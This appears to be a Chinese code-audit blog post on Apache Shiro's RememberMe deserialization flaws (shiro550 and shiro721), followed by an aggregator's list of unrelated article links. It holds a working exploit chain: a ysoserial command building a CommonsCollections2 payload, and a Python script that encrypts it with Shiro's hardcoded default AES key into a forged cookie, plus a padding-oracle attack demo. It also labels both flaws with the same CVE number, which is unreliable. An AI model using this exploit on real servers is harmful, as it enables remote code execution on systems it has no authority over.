当前位置: 首页 > news >正文

代码审计-shiro漏洞分析

一、关于shiro介绍
简单讲,shiro是apache旗下的一个Java安全框架,轻量级简单易上手,框架提供很多功能接口,常见的身份认证 、权限认证、会话管理、Remember 记住功能、加密等等。

二、漏洞分析

1.CVE-2019-12422-shiro550
漏洞原理:shiro会对Remember Me功能带的cookie字段进行解密并进行反序列化,解密过程为base64解码------AES-CBC解密------反序列化,所以我们只需要逆向构造数据包就能触发漏洞,Apache Shiro ≤1.2.4版本的AES密钥是硬编码,尝试爆破常见的key就能触发。
在这里插入图片描述
目前市场上利用工具很多,手工构造也可以
使用工具生成反序列化文件,AES加密后结果base64密码
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 “calc” > 2.txt
在这里插入图片描述

from _ast import Lambda
from Crypto.Cipher import AES 
import uuid,base64
key = "kPH+bIxk5D2deZiIxcaaaA=="
file=open("2.txt",'rb')
bs = AES.block_size
pad = lambda s: s + ((bs - len(s) % bs) * chr(bs - len(s) % bs)).encode()
key = base64.b64decode(key)
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file2 = pad(file.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file2))
result = str(base64_ciphertext, encoding='utf-8')
f4 = open("3.txt","w")
f4.write(result)

2.CVE-2019-12422-shiro721
漏洞原理:影响1.2.5至1.4.1版本,包括1.3.x和1.4.0系列,在shiro550基础上加入随机key,改变硬编码不能直接爆破key,但AES-128-CBC模式易受填充提示攻击(Padding Oracle Attack),攻击者需通过有效RememberMe Cookie作为前缀逐步爆破密钥,从而触发漏洞。利用难度较高,需要登录后拿到cookie,漏洞主要利用了AES-CBC加密模式的安全缺陷进行了密钥破解。

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import base64# 模拟存在Padding Oracle漏洞的服务器
def padding_oracle(encrypted_data):key = get_random_bytes(16)iv = encrypted_data[:16]ciphertext = encrypted_data[16:]try:cipher = AES.new(key, AES.MODE_CBC, iv)plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)return True  # 填充正确时返回Trueexcept (ValueError, KeyError):return False  # 填充错误或其他错误# 生成测试数据
key = get_random_bytes(16)
iv = get_random_bytes(16)
plaintext = b"Secret Message!!"
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
encrypted_data = iv + ciphertext# Padding Oracle攻击实现
recovered_plaintext = b""
num_blocks = len(ciphertext) // 16# 从最后一个块开始攻击
for block_idx in range(num_blocks - 1, -1, -1):intermediate = bytearray(16)for byte_pos in range(15, -1, -1):# 构造测试块test_block = bytearray(ciphertext[block_idx*16 : (block_idx+1)*16])# 计算当前需要的填充值padding_value = (16 - byte_pos) % 16if padding_value == 0:padding_value = 16# 暴力破解当前字节found = Falsefor guess in range(256):# 构造中间值for prev_byte in range(byte_pos + 1):test_block[prev_byte] = ciphertext[block_idx*16 + prev_byte] ^ intermediate[prev_byte]# 设置当前猜测字节test_block[byte_pos] = guess ^ padding_value# 构造完整的加密数据modified_data = iv + bytes(test_block) + ciphertext[(block_idx+1)*16:]if padding_oracle(modified_data):intermediate[byte_pos] = guess ^ ciphertext[block_idx*16 + byte_pos] ^ padding_valuerecovered_plaintext = bytes([guess ^ intermediate[byte_pos]]) + recovered_plaintextfound = Truebreakif not found:raise ValueError("攻击失败")print(f"原始明文: {plaintext}")
print(f"恢复的明文: {recovered_plaintext}")
http://www.dtcms.com/a/271296.html

相关文章:

  • Explain关键字
  • rt thread studio 和 KEIL对于使用rt thread 的中间件和组件,哪个更方便
  • Flask3.1打造极简CMS系统
  • VsCode 接入Continue 远程调用(持续扩展 + DeepSeek R1)— 免本地算力
  • ZECN致业:科创微光,照亮技术新征程
  • 200nl2sql
  • Linux建立本地软件仓库
  • 存储服务一NFS文件存储概述
  • 解锁HTML5页面生命周期API:前端开发的新视角
  • debug和release的区别,打印菱形,水仙花数,喝汽水问题,计算求和
  • 从互联网电脑迁移Dify到内网部署Dify方法记录
  • 语音识别核心模型的数学原理和公式
  • http get和http post的区别
  • 【软件工程】tob和toc含义理解
  • 【25软考网工】第十章 (3)网络冗余设计、广域网接入技术
  • Docker 高级管理 -- 容器通信技术与数据持久化
  • mysql 故障检测与处理
  • Linux 测开:日志分析 + 定位 Bug
  • Paimon 原子提交实现
  • 【Linux】Rocky Linux 安装 Docker 与 Docker-Compose
  • AI智能选股,DeepSeek智能分析股票测试
  • 搭建一款结合传统黄历功能的日历小程序
  • C++最小生成树算法详解
  • 人机协同的关键枢纽:软件工程3.0中对象模型与模型驱动的融合路径
  • Vue 3 中父子组件双向绑定的 4 种方式
  • 如何将 AWS EBS 卷从 gp2 批量迁移到 gp3:完整指南
  • 基于Spring Boot+Vue的DIY手工社预约管理系统(Echarts图形化、腾讯地图API)
  • [Pytest][Part 4]多种测试运行方式
  • docker部署华为高斯数据库opengauss(arm版本)
  • 1.1 ARMv8/ARMv9安全扩展